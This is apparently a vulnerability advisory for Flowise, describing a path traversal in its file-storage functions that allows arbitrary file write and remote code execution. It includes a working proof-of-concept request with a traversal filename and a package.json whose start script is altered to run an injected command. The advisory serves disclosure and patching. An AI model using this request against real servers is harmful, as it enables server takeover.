Flowise allows arbitrary file write to RCE

Summary

An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process API. An attacker can reach RCE(Remote Code Execution) via file writing.

Details

All file writing functions in packages/components/src/storageUtils.ts are vulnerable.

• addBase64FilesToStorage
• addArrayFilesToStorage
• addSingleFileToStorage

The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.

const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)

Therefore, users can move to the parent folder via ../ and write files to any path.

Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.

In PoC (Proof of Concept), RCE was reached by overwriting package.json.

PoC

In PoC, package.json is overwritten. This is a scenario in which arbitrary code is executed when pnpm start is executed by changing the start command in the scripts{} statement to an arbitrary value.

- original start command

"start": "run-script-os",

- modify start command

"start": "touch /tmp/pyozzi-poc && run-script-os",

When a user runs the pnpm start command, a pyozzi-poc file is created in the /tmp path.

1. package.json content base64 encoding

{
    "name": "flowise",
    "version": "1.8.2",
    "private": true,
    "homepage": "https://flowiseai.com",
    "workspaces": [
        "packages/*",
        "flowise",
        "ui",
        "components"
    ],
    "scripts": {
        "build": "turbo run build && echo poc",
        "build-force": "pnpm clean && turbo run build --force",
        "dev": "turbo run dev --parallel",
        "start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
        "start:windows": "cd packages/server/bin && run start",
        "start:default": "cd packages/server/bin && ./run start",
        "clean": "pnpm --filter \"./packages/**\" clean",
        "nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo",
        "format": "prettier --write \"**/*.{ts,tsx,md}\"",
        "lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"",
        "lint-fix": "pnpm lint --fix",
        "quick": "pretty-quick --staged",
        "postinstall": "husky install",
        "migration:create": "pnpm typeorm migration:create"
    }, ... skip

2. Overwrite package.json via /api/v1/document-store/loader/process

<img width="1329" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/a548732d-4bee-4cd0-8565-54fb8e560500">

Request Body

{
    "loaderId": "textFile",
    "storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
    "loaderName": "Text File",
    "loaderConfig": {
        "txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json",
        "textSplitter": "",
        "metadata": "",
        "omitMetadataKeys": ""
    }
}

The part after filename: of the txtFile parameter is the value used as fileName in the function. Add ../ to the filename value to move to the top path, then specify package.json in the project folder /usr/src/ as the path.

<img width="663" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/13fdc756-f4d3-45f9-9929-fd978f532a02">

Afterwards, when the user starts the server (pnpm start), the added script will be executed. (touch /tmp/pyozzi-poc)

- starting server with touch /tmp/pyozzi-poc command <img width="737" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3">

- /tmp/pyozzi-poc file created <img width="751" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087">

Impact

Remote Code Execution (RCE) Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.